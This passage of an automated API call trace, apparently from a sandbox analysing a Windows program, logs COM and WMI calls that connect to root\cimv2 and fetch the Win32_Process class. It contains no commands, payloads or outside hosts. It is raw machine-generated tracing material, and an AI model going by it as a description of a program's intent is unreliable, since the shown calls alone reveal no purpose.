pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0149.536] WbemLocator:IUnknown:Release (This=0x1aa02aa0) returned 0x1 [0149.536] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6480, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa02ae0) returned 0x0 [0149.536] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6480, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa02aa0) returned 0x0 [0149.536] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02aa0, pProxy=0x1bcc6480, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0149.536] WbemLocator:IUnknown:Release (This=0x1aa02aa0) returned 0x2 [0149.537] WbemLocator:IUnknown:Release (This=0x1aa02ae0) returned 0x1 [0149.537] CoTaskMemFree (pv=0x1bc6dbf0) [0149.537] WbemLocator:IUnknown:AddRef (This=0x1bcc6480) returned 0x2 [0149.537] WbemLocator:IUnknown:Release (This=0x1bc894d0) returned 0x0 [0149.537] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0149.537] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0149.537] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6480, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa02ab0) returned 0x0 [0149.537] WbemLocator:IRpcOptions:Query (in: This=0x1aa02ab0, pPrx=0x1bc89450, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0149.537] WbemLocator:IUnknown:Release (This=0x1aa02ab0) returned 0x2 [0149.538] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0149.538] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0149.538] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6480, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bcc6480) returned 0x0 [0149.538] WbemLocator:IUnknown:Release (This=0x1bcc6480) returned 0x2 [0149.538] SysStringLen (param_1=0x0) returned 0x0 [0149.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0149.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0149.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf5e0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0149.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf5e0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0149.538] IWbemServices:GetObject (in: This=0x1bcc6480, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb91be0, ppCallResult=0x0) returned 0x0 [0149.542] IWbemClassObject:Get (in: This=0x1bb91be0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0149.542] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0149.543] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0149.543] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0149.543] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0149.543] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0149.543] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.545] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc894d0) returned 0x0 [0149.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc894d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0149.545] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc894d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bbbf160) returned 0x0 [0149.545] WbemDefPath:IUnknown:Release (This=0x1bc894d0) returned 0x0 [0149.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bbbf160) returned 0x0 [0149.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0149.546] WbemDefPath:IUnknown:AddRef (This=0x1bbbf160) returned 0x3 [0149.546] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0149.546] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0149.546] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc894f0) returned 0x0 [0149.546] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc894f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.546] WbemDefPath:IUnknown:Release (This=0x1bc894f0) returned 0x3 [0149.546] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0149.546] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0149.546] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0149.546] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x2 [0149.546] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x1 [0149.546] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0149.546] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0149.546] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf160, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbf160) returned 0x0 [0149.546] WbemDefPath:IUnknown:AddRef (This=0x1bbbf160) returned 0x3 [0149.546] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x2 [0149.546] WbemDefPath:IWbemPath:SetText (This=0x1bbbf160, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0149.547] IWbemClassObject:Get (in: This=0x1bb91be0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0149.547] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0149.547] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0149.547] IWbemClassObject:Get (in: This=0x1bb91be0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0149.547] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0149.547] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0149.547] IWbemClassObject:Get (in: This=0x1bb91be0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0149.547] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0149.548] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0149.548] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0149.548] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0149.548] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0149.548] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.550] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc895f0) returned 0x0 [0149.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc895f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0149.550] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc895f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf0a0) returned 0x0 [0149.550] WbemDefPath:IUnknown:Release (This=0x1bc895f0) returned 0x0 [0149.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf0a0) returned 0x0 [0149.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0149.551] WbemDefPath:IUnknown:AddRef (This=0x1bbbf0a0) returned 0x3 [0149.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0149.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0149.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc89530) returned 0x0 [0149.551] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89530, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.551] WbemDefPath:IUnknown:Release (This=0x1bc89530) returned 0x3 [0149.551] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0149.551] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0149.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0149.551] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x2 [0149.551] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x1 [0149.551] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0149.551] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0149.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf0a0) returned 0x0 [0149.551] WbemDefPath:IUnknown:AddRef (This=0x1bbbf0a0) returned 0x3 [0149.551] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x2 [0149.551] WbemDefPath:IWbemPath:SetText (This=0x1bbbf0a0, uMode=0x4, pszPath="") returned 0x0 [0149.551] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0149.552] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0149.552] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0149.552] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.553] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc895f0) returned 0x0 [0149.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc895f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0149.554] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc895f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbef20) returned 0x0 [0149.554] WbemDefPath:IUnknown:Release (This=0x1bc895f0) returned 0x0 [0149.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbef20) returned 0x0 [0149.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0149.554] WbemDefPath:IUnknown:AddRef (This=0x1bbbef20) returned 0x3 [0149.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0149.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0149.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc89570) returned 0x0 [0149.554] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89570, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.554] WbemDefPath:IUnknown:Release (This=0x1bc89570) returned 0x3 [0149.555] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0149.555] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0149.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0149.555] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x2 [0149.555] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x1 [0149.555] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0149.555] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0149.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbef20) returned 0x0 [0149.555] WbemDefPath:IUnknown:AddRef (This=0x1bbbef20) returned 0x3 [0149.555] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x2 [0149.555] WbemDefPath:IWbemPath:SetText (This=0x1bbbef20, uMode=0x4, pszPath="") returned 0x0 [0149.555] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbef20, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0149.555] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf0a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0149.555] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbef20, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0149.555] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbef20, 